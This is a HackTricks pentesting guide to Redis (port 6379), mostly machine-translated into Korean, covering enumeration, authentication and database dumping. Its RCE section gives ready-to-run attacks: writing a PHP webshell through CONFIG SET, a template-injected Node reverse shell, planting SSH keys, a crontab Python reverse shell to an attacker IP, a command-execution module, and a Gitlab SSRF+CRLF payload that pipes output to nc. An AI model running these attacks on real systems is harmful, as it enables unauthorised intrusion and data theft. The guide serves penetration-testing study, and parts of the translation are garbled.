6379 - Pentesting Redis

Support HackTricks

Join HackenProof Discord server to communicate with experienced hackers and bug bounty hunters!

Hacking Insights 해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.

Real-Time Hack News 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.

Latest Announcements 새로운 버그 바운티와 중요한 플랫폼 업데이트에 대한 최신 정보를 유지하세요.

Join us on Discord and start collaborating with top hackers today!

Basic Information

From the docs: Redis는 오픈 소스(BSD 라이센스) 인메모리 데이터 구조 저장소로, 데이터베이스, 캐시 및 메시지 브로커로 사용됩니다.

기본적으로 Redis는 일반 텍스트 기반 프로토콜을 사용하지만, ssl/tls를 구현할 수도 있다는 점을 염두에 두어야 합니다. 여기에서 ssl/tls로 Redis를 실행하는 방법을 배우세요.

Default port: 6379

PORT     STATE SERVICE  VERSION
6379/tcp open  redis   Redis key-value store 4.0.9

자동 열거

Redis 인스턴스에서 정보를 얻는 데 도움이 되는 몇 가지 자동화 도구:

nmap --script redis-info -sV -p 6379 <IP>
msf> use auxiliary/scanner/redis/redis_server

수동 열거

배너

Redis는 텍스트 기반 프로토콜입니다. 소켓에 명령을 전송하면 반환된 값이 읽을 수 있습니다. 또한 Redis는 ssl/tls를 사용하여 실행될 수 있다는 점을 기억하세요(하지만 이는 매우 이상합니다).

일반 Redis 인스턴스에서는 nc를 사용하여 연결하거나 redis-cli를 사용할 수도 있습니다:

nc -vn 10.10.10.10 6379
redis-cli -h 10.10.10.10 # sudo apt-get install redis-tools

첫 번째 명령어로 시도할 수 있는 것은 **info**입니다. 이는 Redis 인스턴스에 대한 정보가 포함된 출력을 반환할 수 있습니다 또는 다음과 같은 것이 반환됩니다:

-NOAUTH Authentication required.

In this last case, this means that you need valid credentials to access the Redis instance.

Redis Authentication

기본적으로 Redis는 자격 증명 없이 접근할 수 있습니다. 그러나 비밀번호만 또는 사용자 이름 + 비밀번호를 지원하도록 구성할 수 있습니다. requirepass 매개변수를 사용하여 redis.conf 파일에 비밀번호를 설정할 수 있으며, 서비스가 재시작될 때까지 임시로 설정할 수 있습니다. 연결한 후 다음을 실행합니다: config set requirepass p@ss$12E45. 또한, redis.conf 파일의 masteruser 매개변수에서 사용자 이름을 구성할 수 있습니다.

비밀번호만 구성된 경우 사용되는 사용자 이름은 "default"입니다. 또한, Redis가 비밀번호만 또는 사용자 이름 + 비밀번호로 구성되었는지 외부에서 확인할 방법이 없습니다.

In cases like this one you will need to find valid credentials to interact with Redis so you could try to brute-force it. 유효한 자격 증명을 찾은 경우 연결을 설정한 후 세션을 인증해야 합니다 다음 명령어로:

AUTH <username> <password>

유효한 자격 증명은 다음과 같이 응답됩니다: +OK

인증된 열거

Redis 서버가 익명 연결을 허용하거나 유효한 자격 증명을 얻은 경우, 다음 명령어를 사용하여 서비스의 열거 프로세스를 시작할 수 있습니다:

INFO
[ ... Redis response with info ... ]
client list
[ ... Redis response with connected clients ... ]
CONFIG GET *
[ ... Get config ... ]

다른 Redis 명령어 여기에서 찾을 수 있습니다 그리고 여기에서.

인스턴스의 Redis 명령어는 redis.conf 파일에서 이름을 변경하거나 제거할 수 있습니다. 예를 들어 이 줄은 FLUSHDB 명령어를 제거합니다:

rename-command FLUSHDB ""

More about configuring securely a Redis service here: https://www.digitalocean.com/community/tutorials/how-to-install-and-secure-redis-on-ubuntu-18-04

You can also 모니터링할 수 있습니다 실시간으로 Redis 명령어 executed with the command monitor or get the top 25 느린 쿼리 with slowlog get 25

Find more interesting information about more Redis commands here: https://lzone.de/cheat-sheet/Redis

Dumping Database

Inside Redis the 데이터베이스는 0부터 시작하는 숫자입니다. You can find if anyone is used in the output of the command info inside the "Keyspace" chunk:

Or you can just get all the 키스페이스 (databases) with:

INFO keyspace

그 예제에서는 데이터베이스 0과 1이 사용되고 있습니다. 데이터베이스 0에는 4개의 키가 있고 데이터베이스 1에는 1개가 있습니다. 기본적으로 Redis는 데이터베이스 0을 사용합니다. 예를 들어 데이터베이스 1을 덤프하려면 다음을 수행해야 합니다:

SELECT 1
[ ... Indicate the database ... ]
KEYS *
[ ... Get Keys ... ]
GET <KEY>
[ ... Get Key ... ]

GET <KEY>를 실행하는 동안 -WRONGTYPE Operation against a key holding the wrong kind of value라는 오류가 발생하면, 이는 키가 문자열이나 정수가 아닌 다른 유형일 수 있으며, 이를 표시하기 위해 특별한 연산자가 필요하기 때문입니다.

키의 유형을 확인하려면 TYPE 명령을 사용하세요. 아래는 리스트 및 해시 키에 대한 예입니다.

TYPE <KEY>
[ ... Type of the Key ... ]
LRANGE <KEY> 0 -1
[ ... Get list items ... ]
HGET <KEY> <FIELD>
[ ... Get hash item ... ]

# If the type used is weird you can always do:
DUMP <key>

npm으로 데이터베이스 덤프하기 redis-dump 또는 python redis-utils

경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 HackenProof Discord 서버에 참여하세요!

해킹 통찰력 해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.

실시간 해킹 뉴스 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.

최신 공지사항 새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.

오늘 Discord에서 저희와 함께하고 최고의 해커들과 협업을 시작하세요!

Redis RCE

인터랙티브 셸

redis-rogue-server는 Redis(<=5.0.5)에서 자동으로 인터랙티브 셸 또는 리버스 셸을 얻을 수 있습니다.

./redis-rogue-server.py --rhost <TARGET_IP> --lhost <ACCACKER_IP>

PHP Webshell

여기에서 정보. 웹 사이트 폴더경로를 알아야 합니다:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /usr/share/nginx/html
OK
10.85.0.52:6379> config set dbfilename redis.php
OK
10.85.0.52:6379> set test "<?php phpinfo(); ?>"
OK
10.85.0.52:6379> save
OK

​웹쉘 접근 예외가 발생하면, 백업 후 데이터베이스를 비우고 다시 시도할 수 있으며, 데이터베이스를 복원하는 것을 잊지 마십시오.

템플릿 웹쉘

이전 섹션과 마찬가지로 템플릿 엔진에 의해 해석될 일부 HTML 템플릿 파일을 덮어쓰고 쉘을 얻을 수 있습니다.

예를 들어, 이 글을 따르면, 공격자가 nunjucks 템플릿 엔진에 의해 해석된 HTML에 rev shell을 주입한 것을 볼 수 있습니다.

{{ ({}).constructor.constructor(
"var net = global.process.mainModule.require('net'),
cp = global.process.mainModule.require('child_process'),
sh = cp.spawn('sh', []);
var client = new net.Socket();
client.connect(1234, 'my-server.com', function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});"
)()}}

다수의 템플릿 엔진이 템플릿을 메모리에 캐시하므로, 이를 덮어쓰더라도 새로운 템플릿이 실행되지 않을 수 있습니다. 이 경우, 개발자가 자동 재로드를 활성화한 상태이거나 서비스에 대해 DoS를 수행해야 하며 (자동으로 재시작될 것으로 예상해야 함) 주의해야 합니다.

SSH

예시 여기서 확인하세요.

config get dir 결과는 다른 수동 익스플로잇 명령어 후에 변경될 수 있습니다. Redis에 로그인한 직후에 이를 먼저 실행하는 것이 좋습니다. **config get dir**의 출력에서 redis 사용자home을 찾을 수 있습니다 (보통 /var/lib/redis 또는 /home/redis/.ssh). 이를 알면 authenticated_users 파일을 작성하여 redis 사용자로 ssh에 접근할 수 있는 위치를 알게 됩니다. 쓰기 권한이 있는 다른 유효한 사용자의 home을 알고 있다면 이를 악용할 수도 있습니다:

  1. PC에서 ssh 공개-개인 키 쌍을 생성합니다: ssh-keygen -t rsa

  2. 공개 키를 파일에 작성합니다: (echo -e "\n\n"; cat ~/id_rsa.pub; echo -e "\n\n") > spaced_key.txt

  3. 파일을 Redis에 가져옵니다: cat spaced_key.txt | redis-cli -h 10.85.0.52 -x set ssh_key

  4. Redis 서버의 authorized_keys 파일에 공개 키를 저장합니다:

root@Urahara:~# redis-cli -h 10.85.0.52
10.85.0.52:6379> config set dir /var/lib/redis/.ssh
OK
10.85.0.52:6379> config set dbfilename "authorized_keys"
OK
10.85.0.52:6379> save
OK
  1. 마지막으로, 개인 키로 redis 서버ssh로 접속할 수 있습니다: ssh -i id_rsa redis@10.85.0.52

이 기술은 여기에서 자동화되어 있습니다: https://github.com/Avinash-acid/Redis-Server-Exploit

Crontab

root@Urahara:~# echo -e "\n\n*/1 * * * * /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.85.0.53\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n\n"|redis-cli -h 10.85.0.52 -x set 1
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dir /var/spool/cron/crontabs/
OK
root@Urahara:~# redis-cli -h 10.85.0.52 config set dbfilename root
OK
root@Urahara:~# redis-cli -h 10.85.0.52 save
OK

The last example is for Ubuntu, for Centos, the above command should be: redis-cli -h 10.85.0.52 config set dir /var/spool/cron/

이 방법은 비트코인을 얻는 데에도 사용할 수 있습니다: yam

Load Redis Module

  1. https://github.com/n0b0dyCN/RedisModules-ExecuteCommand의 지침을 따르면 임의의 명령을 실행하기 위해 redis 모듈을 컴파일할 수 있습니다.

  2. 그런 다음 컴파일된 모듈을 업로드할 방법이 필요합니다.

  3. MODULE LOAD /path/to/mymodule.so로 런타임에 업로드된 모듈을 로드합니다.

  4. MODULE LIST로드된 모듈을 나열하여 올바르게 로드되었는지 확인합니다.

  5. 명령을 실행합니다:

127.0.0.1:6379> system.exec "id"
"uid=0(root) gid=0(root) groups=0(root)\n"
127.0.0.1:6379> system.exec "whoami"
"root\n"
127.0.0.1:6379> system.rev 127.0.0.1 9999
  1. 원할 때마다 모듈을 언로드합니다: MODULE UNLOAD mymodule

LUA sandbox bypass

여기에서 Redis가 EVAL 명령을 사용하여 Lua 코드를 샌드박스화하여 실행하는 것을 볼 수 있습니다. 링크된 게시물에서 dofile 함수를 사용하여 악용하는 방법을 볼 수 있지만, 명백히 더 이상 가능하지 않은 것 같습니다. 어쨌든, Lua 샌드박스를 우회할 수 있다면 시스템에서 임의의 명령을 실행할 수 있습니다. 또한, 같은 게시물에서 DoS를 유발할 수 있는 몇 가지 옵션을 볼 수 있습니다.

LUA에서 탈출하기 위한 CVE:

Master-Slave Module

마스터 redis의 모든 작업은 자동으로 슬레이브 redis에 동기화되므로, 취약한 redis를 슬레이브 redis로 간주할 수 있으며, 이는 우리가 제어하는 마스터 redis에 연결되어 있습니다. 그런 다음 자신의 redis에 명령을 입력할 수 있습니다.

master redis : 10.85.0.51 (Hacker's Server)
slave  redis : 10.85.0.52 (Target Vulnerability Server)
A master-slave connection will be established from the slave redis and the master redis:
redis-cli -h 10.85.0.52 -p 6379
slaveof 10.85.0.51 6379
Then you can login to the master redis to control the slave redis:
redis-cli -h 10.85.0.51 -p 6379
set mykey hello
set mykey2 helloworld

SSRF talking to Redis

만약 Redis일반 텍스트 요청을 보낼 수 있다면, 그와 통신할 수 있습니다. Redis는 요청을 한 줄씩 읽고 이해하지 못하는 줄에 대해서는 오류로 응답할 것입니다:

-ERR wrong number of arguments for 'get' command
-ERR unknown command 'Host:'
-ERR unknown command 'Accept:'
-ERR unknown command 'Accept-Encoding:'
-ERR unknown command 'Via:'
-ERR unknown command 'Cache-Control:'
-ERR unknown command 'Connection:'

따라서, 웹사이트에서 SSRF vuln을 발견하고 일부 headers(아마도 CRLF vuln으로) 또는 POST parameters제어할 수 있다면, 임의의 명령을 Redis에 보낼 수 있습니다.

예시: Gitlab SSRF + CRLF to Shell

Gitlab11.4.7에서 SSRF 취약점과 CRLF가 발견되었습니다. SSRF 취약점은 새 프로젝트를 생성할 때 URL에서 프로젝트 가져오기 기능에 있었으며, [0:0:0:0:0:ffff:127.0.0.1] 형식의 임의 IP에 접근할 수 있게 해주었습니다(이는 127.0.0.1에 접근합니다). 그리고 CRLF vuln은 URL%0D%0A 문자를 추가하여 악용되었습니다.

따라서, 이 취약점을 악용하여 Redis 인스턴스와 통신하고 gitlab큐를 관리하는 큐를 악용하여 코드 실행을 얻는 것이 가능했습니다. Redis 큐 악용 페이로드는:

multi
sadd resque:gitlab:queues system_hook_push
lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami | nc 192.241.233.143 80\').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"ad52abc5641173e217eb2e52\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"
exec

그리고 URL encode 요청 SSRFCRLF를 악용하여 whoami를 실행하고 출력을 nc를 통해 반환하는 것은:

git://[0:0:0:0:0:ffff:127.0.0.1]:6379/%0D%0A%20multi%0D%0A%20sadd%20resque%3Agitlab%3Aqueues%20system%5Fhook%5Fpush%0D%0A%20lpush%20resque%3Agitlab%3Aqueue%3Asystem%5Fhook%5Fpush%20%22%7B%5C%22class%5C%22%3A%5C%22GitlabShellWorker%5C%22%2C%5C%22args%5C%22%3A%5B%5C%22class%5Feval%5C%22%2C%5C%22open%28%5C%27%7Ccat%20%2Fflag%20%7C%20nc%20127%2E0%2E0%2E1%202222%5C%27%29%2Eread%5C%22%5D%2C%5C%22retry%5C%22%3A3%2C%5C%22queue%5C%22%3A%5C%22system%5Fhook%5Fpush%5C%22%2C%5C%22jid%5C%22%3A%5C%22ad52abc5641173e217eb2e52%5C%22%2C%5C%22created%5Fat%5C%22%3A1513714403%2E8122594%2C%5C%22enqueued%5Fat%5C%22%3A1513714403%2E8129568%7D%22%0D%0A%20exec%0D%0A%20exec%0D%0A/ssrf123321.git

어떤 이유로 (이 정보가 가져온 https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ 의 저자에 따르면) git 스킴으로는 익스플로잇이 작동했지만 http 스킴으로는 작동하지 않았습니다.

경험이 풍부한 해커 및 버그 바운티 헌터와 소통하기 위해 HackenProof Discord 서버에 참여하세요!

해킹 통찰력 해킹의 스릴과 도전에 대해 깊이 있는 콘텐츠에 참여하세요.

실시간 해킹 뉴스 실시간 뉴스와 통찰력을 통해 빠르게 변화하는 해킹 세계의 최신 정보를 유지하세요.

최신 공지사항 새로운 버그 바운티 출시 및 중요한 플랫폼 업데이트에 대한 정보를 유지하세요.

오늘 Discord에 참여하여 최고의 해커들과 협업을 시작하세요!

HackTricks 지원하기

Last updated